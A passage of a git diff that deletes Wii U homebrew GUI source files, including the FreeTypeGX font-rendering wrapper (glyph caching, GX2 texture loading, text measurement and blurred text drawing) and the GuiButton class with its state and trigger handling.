FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize) -{ - map::iterator itr = fontData.find(pixelSize); - if (itr != fontData.end()) - { - map::iterator itr2 = itr->second.ftgxCharMap.find(charCode); - if (itr2 != itr->second.ftgxCharMap.end()) - { - return &itr2->second; - } - } - //!Cache ascender and decender as well - ftGX2Data *ftData = &fontData[pixelSize]; - - FT_UInt gIndex; - uint16_t textureWidth = 0, textureHeight = 0; - if (ftPointSize != pixelSize) - { - ftPointSize = pixelSize; - FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); - ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6; - ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6; - ftData->ftgxAlign.max = 0; - ftData->ftgxAlign.min = 0; - } - - gIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode); - if (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0) - { - if (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP) - { - FT_Bitmap *glyphBitmap = &ftFace->glyph->bitmap; - - textureWidth = ALIGN4(glyphBitmap->width); - textureHeight = ALIGN4(glyphBitmap->rows); - if(textureWidth == 0) - textureWidth = 4; - if(textureHeight == 0) - textureHeight = 4; - - ftgxCharData *charData = &ftData->ftgxCharMap[charCode]; - charData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left; - charData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6); - charData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6); - charData->glyphIndex = (uint32_t) gIndex; - charData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top; - charData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top; - charData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top; - - //! Initialize texture - charData->texture = new GX2Texture; - GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_UNORM_R5_G5_B5_A1, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); - - loadGlyphData(glyphBitmap, charData); - - return charData; - } - } - return NULL; -} - -/** - * Locates each character in this wrapper's configured font face and proccess them. - * - * This routine locates each character in the configured font face and renders the glyph's bitmap. - * Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map. - */ -uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize) -{ - uint32_t i = 0; - FT_UInt gIndex; - - FT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex); - while (gIndex != 0) - { - if (cacheGlyphData(charCode, pixelSize) != NULL) ++i; - charCode = FT_Get_Next_Char(ftFace, charCode, &gIndex); - } - return (uint16_t) (i); -} - -/** - * Loads the rendered bitmap into the relevant structure's data buffer. - * - * This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer. - * Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value. - * - * @param bmp A pointer to the most recently rendered glyph's bitmap. - * @param charData A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph. - */ - -void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) -{ - charData->texture->surface.image = (uint8_t *) memalign(charData->texture->surface.alignment, charData->texture->surface.imageSize); - if(!charData->texture->surface.image) - return; - - memset(charData->texture->surface.image, 0x00, charData->texture->surface.imageSize); - - uint8_t *src = (uint8_t *)bmp->buffer; - uint16_t *dst = (uint16_t *)charData->texture->surface.image; - int32_t x, y; - - for(y = 0; y < bmp->rows; y++) - { - for(x = 0; x < bmp->width; x++) - { - uint8_t intensity = src[y * bmp->width + x] >> 3; - dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0; - } - } - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, charData->texture->surface.image, charData->texture->surface.imageSize); -} - -/** - * Determines the x offset of the rendered string. - * - * This routine calculates the x offset of the rendered string based off of a supplied positional format parameter. - * - * @param width Current pixel width of the string. - * @param format Positional format of the string. - */ -int16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format) -{ - if (format & FTGX_JUSTIFY_LEFT) - return 0; - else if (format & FTGX_JUSTIFY_CENTER) - return -(width >> 1); - else if (format & FTGX_JUSTIFY_RIGHT) return -width; - return 0; -} - -/** - * Determines the y offset of the rendered string. - * - * This routine calculates the y offset of the rendered string based off of a supplied positional format parameter. - * - * @param offset Current pixel offset data of the string. - * @param format Positional format of the string. - */ -int16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize) -{ - std::map::iterator itr = fontData.find(pixelSize); - if (itr == fontData.end()) return 0; - - switch (format & FTGX_ALIGN_MASK) - { - case FTGX_ALIGN_TOP: - return itr->second.ftgxAlign.descender; - - case FTGX_ALIGN_MIDDLE: - default: - return (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1; - - case FTGX_ALIGN_BOTTOM: - return itr->second.ftgxAlign.ascender; - - case FTGX_ALIGN_BASELINE: - return 0; - - case FTGX_ALIGN_GLYPH_TOP: - return itr->second.ftgxAlign.max; - - case FTGX_ALIGN_GLYPH_MIDDLE: - return (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1; - - case FTGX_ALIGN_GLYPH_BOTTOM: - return itr->second.ftgxAlign.min; - } - return 0; -} - -/** - * Processes the supplied text string and prints the results at the specified coordinates. - * - * This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer, - * a texture from said buffer, and loads the resultant texture into the EFB. - * - * @param x Screen X coordinate at which to output the text. - * @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs. - * @param text NULL terminated string to output. - * @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff} - * @param textStyle Flags which specify any styling which should be applied to the rendered string. - * @return The number of characters printed. - */ - -uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float & colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale) -{ - if (!text) - return 0; - - uint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize); - uint16_t x_pos = x, printed = 0; - uint16_t x_offset = 0, y_offset = 0; - FT_Vector pairDelta; - - if (textStyle & FTGX_JUSTIFY_MASK) - { - x_offset = getStyleOffsetWidth(fullTextWidth, textStyle); - } - if (textStyle & FTGX_ALIGN_MASK) - { - y_offset = getStyleOffsetHeight(textStyle, pixelSize); - } - - int i = 0; - - while (text[i]) - { - ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); - - if (glyphData != NULL) - { - if (ftKerningEnabled && i > 0) - { - FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); - x_pos += (pairDelta.x >> 6); - - } - copyTextureToFramebuffer(video, glyphData->texture,x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor,internalRenderingScale); - - x_pos += glyphData->glyphAdvanceX; - ++printed; - } - ++i; - } - - return printed; -} - - -/** - * Processes the supplied string and return the width of the string in pixels. - * - * This routine processes each character of the supplied text string and calculates the width of the entire string. - * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. - * - * @param text NULL terminated string to calculate. - * @return The width of the text string in pixels. - */ -uint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize) -{ - if (!text) return 0; - - uint16_t strWidth = 0; - FT_Vector pairDelta; - - int i = 0; - while (text[i]) - { - ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); - - if (glyphData != NULL) - { - if (ftKerningEnabled && (i > 0)) - { - FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); - strWidth += pairDelta.x >> 6; - } - - strWidth += glyphData->glyphAdvanceX; - } - ++i; - } - return strWidth; -} - -/** - * Single char width - */ -uint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar) -{ - uint16_t strWidth = 0; - ftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize); - - if (glyphData != NULL) - { - if (ftKerningEnabled && prevChar != 0x0000) - { - FT_Vector pairDelta; - FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); - strWidth += pairDelta.x >> 6; - } - strWidth += glyphData->glyphAdvanceX; - } - - return strWidth; -} - -/** - * Processes the supplied string and return the height of the string in pixels. - * - * This routine processes each character of the supplied text string and calculates the height of the entire string. - * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. - * - * @param text NULL terminated string to calculate. - * @return The height of the text string in pixels. - */ -uint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize) -{ - getOffset(text, pixelSize); - return fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min; -} - -/** - * Get the maximum offset above and minimum offset below the font origin line. - * - * This function calculates the maximum pixel height above the font origin line and the minimum - * pixel height below the font origin line and returns the values in an addressible structure. - * - * @param text NULL terminated string to calculate. - * @param offset returns the max and min values above and below the font origin line - * - */ -void FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit) -{ - if (fontData.find(pixelSize) != fontData.end()) - return; - - int16_t strMax = 0, strMin = 9999; - uint16_t currWidth = 0; - - int i = 0; - - while (text[i]) - { - if (widthLimit > 0 && currWidth >= widthLimit) break; - - ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); - - if (glyphData != NULL) - { - strMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax; - strMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin; - currWidth += glyphData->glyphAdvanceX; - } - - ++i; - } - - if (ftPointSize != pixelSize) - { - ftPointSize = pixelSize; - FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); - } - - fontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6; - fontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6; - fontData[pixelSize].ftgxAlign.max = strMax; - fontData[pixelSize].ftgxAlign.min = strMin; -} - -/** - * Copies the supplied texture quad to the EFB. - * - * This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target. - * - * @param texObj A pointer to the glyph's initialized texture object. - * @param texWidth The pixel width of the texture object. - * @param texHeight The pixel height of the texture object. - * @param screenX The screen X coordinate at which to output the rendered texture. - * @param screenY The screen Y coordinate at which to output the rendered texture. - * @param color Color to apply to the texture. - */ -void FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale) -{ - static const f32 imageAngle = 0.0f; - static const f32 blurScale = (2.0f/ (internalRenderingScale)); - - f32 offsetLeft = blurScale * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor(); - f32 offsetTop = blurScale * ((f32)y - 0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor(); - - f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor(); - f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor(); - - glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z ); - - //! blur doubles due to blur we have to scale the texture - glm::vec3 scaleFactor( widthScale, heightScale, 1.0f ); - - glm::vec3 blurDirection; - blurDirection[2] = 1.0f; - - Texture2DShader::instance()->setShaders(); - Texture2DShader::instance()->setAttributeBuffer(); - Texture2DShader::instance()->setAngle(imageAngle); - Texture2DShader::instance()->setOffset(positionOffsets); - Texture2DShader::instance()->setScale(scaleFactor); - Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler); - - if(blurIntensity > 0.0f) - { - //! glow blur color - Texture2DShader::instance()->setColorIntensity(blurColor); - - //! glow blur horizontal - blurDirection[0] = blurIntensity; - blurDirection[1] = 0.0f; - Texture2DShader::instance()->setBlurring(blurDirection); - Texture2DShader::instance()->draw(); - - //! glow blur vertical - blurDirection[0] = 0.0f; - blurDirection[1] = blurIntensity; - Texture2DShader::instance()->setBlurring(blurDirection); - Texture2DShader::instance()->draw(); - } - - //! set text color - Texture2DShader::instance()->setColorIntensity(color); - - //! blur horizontal - blurDirection[0] = defaultBlur; - blurDirection[1] = 0.0f; - Texture2DShader::instance()->setBlurring(blurDirection); - Texture2DShader::instance()->draw(); - - //! blur vertical - blurDirection[0] = 0.0f; - blurDirection[1] = defaultBlur; - Texture2DShader::instance()->setBlurring(blurDirection); - Texture2DShader::instance()->draw(); -} diff --git a/src/gui/FreeTypeGX.h b/src/gui/FreeTypeGX.h deleted file mode 100755 index c3843d2..0000000 --- a/src/gui/FreeTypeGX.h +++ /dev/null @@ -1,154 +0,0 @@ -/* - * FreeTypeGX is a wrapper class for libFreeType which renders a compiled - * FreeType parsable font into a GX texture for Wii homebrew development. - * Copyright (C) 2008 Armin Tamzarian - * Modified by Dimok, 2015 for WiiU GX2 - * - * This file is part of FreeTypeGX. - * - * FreeTypeGX is free software: you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published - * by the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * FreeTypeGX is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with FreeTypeGX. If not, see . - */ - -#ifndef FREETYPEGX_H_ -#define FREETYPEGX_H_ - -#include -#include -#include FT_FREETYPE_H -#include FT_BITMAP_H - -#include -#include -#include -#include - -#include -#include - -#include "common/types.h" - -/*! \struct ftgxCharData_ - * - * Font face character glyph relevant data structure. - */ -typedef struct ftgxCharData_ -{ - int16_t renderOffsetX; /**< Texture X axis bearing offset. */ - uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */ - uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */ - uint32_t glyphIndex; /**< Charachter glyph index in the font face. */ - - int16_t renderOffsetY; /**< Texture Y axis bearing offset. */ - int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */ - int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */ - - GX2Texture * texture; -} ftgxCharData; - -/*! \struct ftgxDataOffset_ - * - * Offset structure which hold both a maximum and minimum value. - */ -typedef struct ftgxDataOffset_ -{ - int16_t ascender; /**< Maximum data offset. */ - int16_t descender; /**< Minimum data offset. */ - int16_t max; /**< Maximum data offset. */ - int16_t min; /**< Minimum data offset. */ -} ftgxDataOffset; - -typedef struct ftgxCharData_ ftgxCharData; -typedef struct ftgxDataOffset_ ftgxDataOffset; -#define _TEXT(t) L ## t /**< Unicode helper macro. */ - -#define FTGX_NULL 0x0000 -#define FTGX_JUSTIFY_LEFT 0x0001 -#define FTGX_JUSTIFY_CENTER 0x0002 -#define FTGX_JUSTIFY_RIGHT 0x0004 -#define FTGX_JUSTIFY_MASK 0x000f - -#define FTGX_ALIGN_TOP 0x0010 -#define FTGX_ALIGN_MIDDLE 0x0020 -#define FTGX_ALIGN_BOTTOM 0x0040 -#define FTGX_ALIGN_BASELINE 0x0080 -#define FTGX_ALIGN_GLYPH_TOP 0x0100 -#define FTGX_ALIGN_GLYPH_MIDDLE 0x0200 -#define FTGX_ALIGN_GLYPH_BOTTOM 0x0400 -#define FTGX_ALIGN_MASK 0x0ff0 - -#define FTGX_STYLE_UNDERLINE 0x1000 -#define FTGX_STYLE_STRIKE 0x2000 -#define FTGX_STYLE_MASK 0xf000 - -/**< Constant color value used only to sanitize Doxygen documentation. */ -static const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; - - -//! forward declaration -class CVideo; - -/*! \class FreeTypeGX - * \brief Wrapper class for the libFreeType library with GX rendering. - * \author Armin Tamzarian - * \version 0.2.4 - * - * FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into - * a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance - * GX texture functions resulting in high throughput of string rendering. - */ -class FreeTypeGX -{ - private: - FT_Library ftLibrary; /**< FreeType FT_Library instance. */ - FT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */ - int16_t ftPointSize; /**< Current set size of the rendered font. */ - bool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */ - uint8_t vertexIndex; /**< Vertex format descriptor index. */ - GX2Sampler ftSampler; - - typedef struct _ftGX2Data - { - ftgxDataOffset ftgxAlign; - std::map ftgxCharMap; - } ftGX2Data; - - std::map fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */ - - int16_t getStyleOffsetWidth(uint16_t width, uint16_t format); - int16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize); - - void unloadFont(); - ftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize); - uint16_t cacheGlyphDataComplete(int16_t pixelSize); - void loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData); - - void copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale); - - public: - FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false); - ~FreeTypeGX(); - - uint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, - uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale); - - uint16_t getWidth(const wchar_t *text, int16_t pixelSize); - uint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000); - uint16_t getHeight(const wchar_t *text, int16_t pixelSize); - void getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0); - - static wchar_t* charToWideChar(const char* p); - static char* wideCharToUTF8(const wchar_t* strChar); -}; - -#endif /* FREETYPEGX_H_ */ diff --git a/src/gui/Gui.h b/src/gui/Gui.h deleted file mode 100644 index fb841c5..0000000 --- a/src/gui/Gui.h +++ /dev/null @@ -1,30 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __GUI_H -#define __GUI_H - -#include "GuiElement.h" -#include "GuiImageData.h" -#include "GuiImage.h" -#include "GuiFrame.h" -#include "GuiController.h" -#include "GuiText.h" -#include "GuiSound.h" -#include "GuiButton.h" -#include "GuiTrigger.h" - -#endif diff --git a/src/gui/GuiButton.cpp b/src/gui/GuiButton.cpp deleted file mode 100644 index bd5c6ee..0000000 --- a/src/gui/GuiButton.cpp +++ /dev/null @@ -1,290 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiButton.h" -#include "GuiController.h" - -/** - * Constructor for the GuiButton class. - */ - -GuiButton::GuiButton(f32 w, f32 h) -{ - width = w; - height = h; - image = NULL; - imageOver = NULL; - imageHold = NULL; - imageClick = NULL; - icon = NULL; - iconOver = NULL; - - for(int i = 0; i < 4; i++) - { - label[i] = NULL; - labelOver[i] = NULL; - labelHold[i] = NULL; - labelClick[i] = NULL; - } - for(int i = 0; i < iMaxGuiTriggers; i++) - { - trigger[i] = NULL; - } - - soundOver = NULL; - soundHold = NULL; - soundClick = NULL; - clickedTrigger = NULL; - heldTrigger = NULL; - selectable = true; - holdable = false; - clickable = true; -} - -/** - * Destructor for the GuiButton class. - */ -GuiButton::~GuiButton() -{ -} - -void GuiButton::setImage(GuiImage* img) -{ - image = img; - if(img) img->setParent(this); -} -void GuiButton::setImageOver(GuiImage* img) -{ - imageOver = img; - if(img) img->setParent(this); -} -void GuiButton::setImageHold(GuiImage* img) -{ - imageHold = img; - if(img) img->setParent(this); -} -void GuiButton::setImageClick(GuiImage* img) -{ - imageClick = img; - if(img) img->setParent(this); -} -void GuiButton::setIcon(GuiImage* img) -{ - icon = img; - if(img) img->setParent(this); -} -void GuiButton::setIconOver(GuiImage* img) -{ - iconOver = img; - if(img) img->setParent(this); -} - -void GuiButton::setLabel(GuiText* txt, int n) -{ - label[n] = txt; - if(txt) txt->setParent(this); -} -void GuiButton::setLabelOver(GuiText* txt, int n) -{ - labelOver[n] = txt; - if(txt) txt->setParent(this); -} -void GuiButton::setLabelHold(GuiText* txt, int n) -{ - labelHold[n] = txt; - if(txt) txt->setParent(this); -} -void GuiButton::setLabelClick(GuiText* txt, int n) -{ - labelClick[n] = txt; - if(txt) txt->setParent(this); -} -void GuiButton::setSoundOver(GuiSound * snd) -{ - soundOver = snd; -} -void GuiButton::setSoundHold(GuiSound * snd) -{ - soundHold = snd; -} - -void GuiButton::setSoundClick(GuiSound * snd) -{ - soundClick = snd; -} - -void GuiButton::setTrigger(GuiTrigger * t, int idx) -{ - if(idx >= 0 && idx < iMaxGuiTriggers) - { - trigger[idx] = t; - } - else - { - for(int i = 0; i < iMaxGuiTriggers; i++) - { - if(!trigger[i]) - { - trigger[i] = t; - break; - } - } - } -} - -void GuiButton::resetState(void) -{ - clickedTrigger = NULL; - heldTrigger = NULL; - GuiElement::resetState(); -} - -/** - * Draw the button on screen - */ -void GuiButton::draw(CVideo *v) -{ - if(!this->isVisible()) - return; - - // draw image - if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver) - imageOver->draw(v); - else if(image) - image->draw(v); - - if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver) - iconOver->draw(v); - else if(icon) - icon->draw(v); - - // draw text - for(int i = 0; i < 4; i++) - { - if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i]) - labelOver[i]->draw(v); - else if(label[i]) - label[i]->draw(v); - } -} - -void GuiButton::update(GuiController * c) -{ - if(!c || isStateSet(STATE_DISABLED, c->chan) || isStateSet(STATE_HIDDEN, c->chan)) - return; - else if(parentElement && (parentElement->isStateSet(STATE_DISABLED, c->chan) || parentElement->isStateSet(STATE_HIDDEN, c->chan))) - return; - - if(selectable) - { - if(c->data.validPointer && this->isInside(c->data.x, c->data.y)) - { - if(!isStateSet(STATE_OVER, c->chan)) - { - setState(STATE_OVER, c->chan); - - //if(this->isRumbleActive()) - // this->rumble(t->chan); - - if(soundOver) - soundOver->Play(); - - if(effectsOver && !effects) - { - // initiate effects - effects = effectsOver; - effectAmount = effectAmountOver; - effectTarget = effectTargetOver; - } - - pointedOn(this, c); - } - } - else if(isStateSet(STATE_OVER, c->chan)) - { - this->clearState(STATE_OVER, c->chan); - pointedOff(this, c); - - if(effectTarget == effectTargetOver && effectAmount == effectAmountOver) - { - // initiate effects (in reverse) - effects = effectsOver; - effectAmount = -effectAmountOver; - effectTarget = 100; - } - } - } - - for(int i = 0; i < iMaxGuiTriggers; i++) - { - if(!trigger[i]) - continue; - - // button triggers - if(clickable) - { - bool isClicked = trigger[i]->clicked(c); - - if( !clickedTrigger && isClicked - && (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) - { - if(soundClick) - soundClick->Play(); - - clickedTrigger = trigger[i]; - - if(!isStateSet(STATE_CLICKED, c->chan)) - setState(STATE_CLICKED, c->chan); - - clicked(this, c, trigger[i]); - } - else if(isStateSet(STATE_CLICKED, c->chan) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && (!isClicked || trigger[i]->released(c))) - { - clickedTrigger = NULL; - clearState(STATE_CLICKED, c->chan); - released(this, c, trigger[i]); - } - } - - if(holdable) - { - bool isHeld = trigger[i]->held(c); - - if( (!heldTrigger || heldTrigger == trigger[i]) && isHeld - && (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) - { - heldTrigger = trigger[i]; - - if(!isStateSet(STATE_HELD, c->chan)) - setState(STATE_HELD, c->chan); - - held(this, c, trigger[i]); - } - else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c))) - { - //! click is removed at this point and converted to held - if(clickedTrigger == trigger[i]) - { - clickedTrigger = NULL; - clearState(STATE_CLICKED, c->chan); - } - heldTrigger = NULL; - clearState(STATE_HELD, c->chan); - released(this, c, trigger[i]); - } - } - } -} diff --git a/src/gui/GuiButton.h b/src/gui/GuiButton.h deleted file mode 100644 index 7755812..0000000 --- a/src/gui/GuiButton.h +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_BUTTON_H_ -#define GUI_BUTTON_H_ - -#include "GuiElement.h" -#include "GuiText.h" -#include "GuiController.h" -#include "GuiImage.h" -#include "GuiSound.h" -#include "GuiTrigger.h" - -//!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional) -class GuiButton : public GuiElement -{ - public: - //!Constructor - //!\param w Width - //!\param h Height - GuiButton(f32 w, f32 h); - //!Destructor - virtual ~GuiButton(); - //!Sets the button's image - //!\param i Pointer to GuiImage object - void setImage(GuiImage* i); - //!Sets the button's image on over - //!\param i Pointer to GuiImage object - void setImageOver(GuiImage* i); - - void setIcon(GuiImage* i); - void setIconOver(GuiImage* i); - //!Sets the button's image on hold - //!\param i Pointer to GuiImage object - void setImageHold(GuiImage* i); - //!Sets the button's image on click - //!\param i Pointer to GuiImage object - void setImageClick(GuiImage* i); - //!Sets the button's label - //!\param t Pointer to GuiText object - //!\param n Index of label to set (optional, default is 0) - void setLabel(GuiText* t, int n = 0); - //!Sets the button's label on over (eg: different colored text) - //!\param t Pointer to GuiText object - //!\param n Index of label to set (optional, default is 0) - void setLabelOver(GuiText* t, int n = 0); - //!Sets the button's label on hold - //!\param t Pointer to GuiText object - //!\param n Index of label to set (optional, default is 0) - void setLabelHold(GuiText* t, int n = 0); - //!Sets the button's label on click - //!\param t Pointer to GuiText object - //!\param n Index of label to set (optional, default is 0) - void setLabelClick(GuiText* t, int n = 0); - //!Sets the sound to play on over - //!\param s Pointer to GuiSound object - void setSoundOver(GuiSound * s); - //!Sets the sound to play on hold - //!\param s Pointer to GuiSound object - void setSoundHold(GuiSound * s); - //!Sets the sound to play on click - //!\param s Pointer to GuiSound object - void setSoundClick(GuiSound * s); - //!Set a new GuiTrigger for the element - //!\param i Index of trigger array to set - //!\param t Pointer to GuiTrigger - void setTrigger(GuiTrigger * t, int idx = -1); - //! - void resetState(void); - //!Constantly called to draw the GuiButton - void draw(CVideo *video); - //!Constantly called to allow the GuiButton to respond to updated input data - //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD - void update(GuiController * c); - - sigslot::signal2 selected; - sigslot::signal2 deSelected; - sigslot::signal2 pointedOn; - sigslot::signal2 pointedOff; - sigslot::signal3 clicked; - sigslot::signal3 held; - sigslot::signal3 released; - protected: - static const int iMaxGuiTriggers = 7; - - GuiImage * image; //!< Button image (default) - GuiImage * imageOver; //!< Button image for STATE_SELECTED - GuiImage * imageHold; //!< Button image for STATE_HELD - GuiImage * imageClick; //!< Button image for STATE_CLICKED - GuiImage * icon; - GuiImage * iconOver; - GuiText * label[4]; //!< Label(s) to display (default) - GuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED - GuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD - GuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED - GuiSound * soundOver; //!< Sound to play for STATE_SELECTED - GuiSound * soundHold; //!< Sound to play for STATE_HELD 